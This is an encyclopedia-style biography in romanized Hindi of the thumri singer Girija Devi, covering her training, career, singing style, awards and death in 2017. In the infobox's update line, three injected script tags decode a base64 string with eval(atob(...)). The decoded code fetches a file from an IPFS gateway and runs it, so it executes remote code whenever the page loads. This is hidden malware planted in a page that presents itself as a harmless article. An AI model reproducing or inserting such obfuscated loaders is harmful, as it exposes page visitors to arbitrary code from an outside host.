गिरिजा देवी

girija devi
girija devi|200px|center
poora nam	girija devi
janm	8 mee, 1929
janm bhoomi	varanasi, uttar pradesh
mrityu	24 aktoobar, 2017 (ayu- 88 varsh)
mrityu sthan	kolakata, pashchim bangal
abhibhavak	ramadev ray
karm bhoomi	bharat
karm-kshetr	shastriy gayan
shiksha	sangit
puraskar-upadhi	'padm shri (1972), 'sangit natak akadami puraskar' (1977), 'padm bhooshan' (1989), 'rashtriy tanasen samman' (1996), padm vibhooshan (2016)
prasiddhi	thumari gayika
vishesh yogadan	90 ke dashak mean ap 'kashi hindoo vishvavidyalay' se bhi ju dian aur anek chhatr-chhatraoan ko prachin sangit parampara ki diksha di.
nagarikata	bharatiy
any janakari	unaki ek kajari "barasan lagi" bahut prasiddh huee thi. apane gayan mean daksh hone ke karan hi girija devi ko 'thumari ki rani' bhi kaha jata hai.
adyatan‎	15:38, 25 aktoobar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

girija devi (aangrezi: Girija Devi; janm: 8 mee, 1929, varanasi, uttar pradesh - mrityu: 24 aktoobar, 2017 kolakata, pashchim bangal) bharat ki prasiddh thumari gayika haian. unhean 'thumari ki rani' kaha jata hai. ve banaras gharane se sambandhit haian. gayaki ke kshetr mean unake ullekhaniy yogadan ke lie unhean varsh 1972 mean 'padmashri' aur varsh 1989 mean 'padmabhooshan' se sammanit kiya gaya tha. girija devi 'sangit natak akadami' dvara bhi sammanit ki ja chuki haian.

janm tatha shiksha

girija devi ka janm 8 mee, 1929 ko kala aur sanskriti ki prachin nagari varanasi (tatkalin banaras) mean hua tha. unake pita ramadev ray ek zamiandar the, jo ek sangit premi vyakti the. unhoanne paanch varsh ki ayu mean hi girija devi ke lie sangit ki shiksha ki vyavastha kar di thi. girija devi ke prarambhik sangit guru pandit sarayoo prasad mishr the. nau varsh ki ayu mean pandit shrichandr mishr se unhoanne sangit ki vibhinn shailiyoan ki shiksha prapt ki. is alp ayu mean hi ek hindi film 'yad rahe' mean girija ne abhinay bhi kiya tha. girija devi ke guru pandit sarajoo prasad mishr 'shastriy sangit' ke moordhany gayak the. girija ji ki khanakati huee avaz jahaan dusari gayikaoan se unhean vishisht banati hai, vahian unaki thumari, kajari aur chaiti mean banaras ka khas lahaza aur vishuddhata ka put unake gayan mean vishesh akarshan paida karata hai.

pratham pradarshan

unaka vivah 1946 mean ek vyavasayi parivar mean hua tha. un dinoan kulin vivahita striyoan dvara manch pradarshan achchha nahian mana jata tha. 1949 mean girija devi ne apana pahala pradarshan ilahabad ke akashavani kendr se kiya. yah desh ki svatantrata ke tatkal bad ka unmukt parivesh tha, jisamean anek roodhiyaan tooti thian. sangit ke kshetr mean pandit vishnu narayan bhatakhande aur pandit vishnu digambar paluskar ne svatantrata se pahale hi bharatiy sangit ko jan-jan mean pratishthit karane ka jo andolan chhe d rakha tha, usaka sarthak parinam desh ki azadi ke pashchath tezise drishtigochar hone laga tha.

sangit yatra

girija devi ko bhi apane yug ki roodhiyoan ke viruddh kathin sangharsh karana p da. 1949 mean akashavani se apane gayan ka pradarshan karane ke bad unhoanne 1951 mean bihar ke ara mean ayojit ek sangit sammelan mean gayan prastut kiya. isake bad girija devi ki anavarat sangit yatra shuroo huee, jo aj tak jari hai. girija ji ne svayan ko keval manch-pradarshan tak hi simit nahian rakha, balki sangit ke shaikshanik aur shodh karyoan mean bhi apana yogadan kiya. 80 ke dashak mean unhean kolakata sthit 'aee.ti.si. sangit risarch ekedami' ne amantrit kiya. yahaan rah kar unhoanne n keval kee yogy shishy taiyar kiye, balki shodh kary bhi karae. 90 ke dashak mean girija devi 'kashi hindoo vishvavidyalay' se bhi ju dian. yahaan anek chhatr-chhatraoan ko prachin sangit parampara ki diksha di.

gayan shaili

shastriy aur up-shastriy sangit mean nishnat girija devi ki gayaki mean 'seniya' aur 'banaras gharane' ki adayagi ka vishisht madhury, apani pamparik visheshataoan ke sath vidyaman hai. dhrupad, khyal, tappa, tarana, sadara, thumari aur paramparik lok sangit mean hori, chaiti, kajari, jhoola, dadara aur bhajan ke anoothe pradarshanoan ke sath hi unhoanne thumari ke sahity ka gahan adhyayan aur anusandhan bhi kiya hai. bharatiy shastriy sangit ke samakalin paridrishy mean ve ekamatr aisi varishth gayika haian, jinhean poorab aang ki gayaki ke lie vishvavyapi pratishtha prapt hai. girija devi ne poorabi aang ki kalatmak virasat ko atyant mohak aur saushthavapoorn dhang se udghatit karane ka mahati kam kiya hai. sangit me unaki sudirgh sadhana hindustani shastriy sangit ke mool saundary aur saundaryamoolak aishvary ki pahachan ko adhik paradarshi bhi banakar prakat karati hai.

thumari ki rani

girija devi adhunik aur svatantrata poorv kal ki poorab aang ki bol-banav thumariyoan ki visheshajn aur sanvahika haian. adhunik upashastriy sangit ke bhandar ko unhoanne samriddh kiya hai. unaki up-shastriy gayaki mean paramparavadi poorabi aang ki chhata ek alag hi sammohan paida karati hai. khyal gayan se karyakram ka arambh karane vali girija ji thumari, chaiti, kajari, jhoola adi bhi utani hi tanmayata aur khoobasoorati se gati haian ki shrota jhoom uthate haian. unaki ek kajari "barasan lagi" bahut prasiddh huee thi. apane gayan mean daksh hone ke karan hi girija devi ko 'thumari ki rani' bhi kaha jata hai. unhoanne ek sakshatkar mean kaha tha ki- "maian bhojan banate hue rasoee mean apani sangit ki k aaupi sath rakhati thi aur tanean yad karati thi. kabhi-kabhi roti sekate vaqt mera hath jal jata tha, kyoanki tave par roti hoti hi nahian thi. maianne sangit ke junoon mean bahut bar uangaliyaan jalaee haian."

puraskar evan samman

apani vishisht gayan shaili ke lie girija devi ko kee puraskar prapt hue haian-

1. 'padm shri' - 1972
2. 'sangit natak akadami puraskar' - 1977
3. 'padm bhooshan' - 1989
4. 'sangit natak akadami pheloship' - 2010
5. 'maha sangit samman avard' - 2012
6. padm vibhooshan (2016)

nidhan

thumari gayika girija devi ka 24 aktoobar, 2017 ko kolakata mean dil ka daura p dane se nidhan ho gaya. pichhale kee dinoan se biem bi dala narsiang hom mean unaka ilaj chal raha tha. girija devi ko thumari kvin ke nam se bhi jana jata hai. pradhanamantri nareandr modi ne tvit karate hue likha ki shastriy gayika ka aise jana bharatiy sangit ke lie kshati hai. shastriy sangit ke kshetr mean unake yogadan ko hamesha yad rakha jaega. pand‍it sajan mishra ne kaha ki girija devi ke sath ek yug ka aant ho gaya, lekin unaki gayiki jianda rahegi. bahut buri khabar hai. bhagavan unaki atma ko shaanti dean. banaras gharane ki shastriy gayika girajia devi ko shastriy sangit ke sath hi thumari gane mean bhi maharath hasil thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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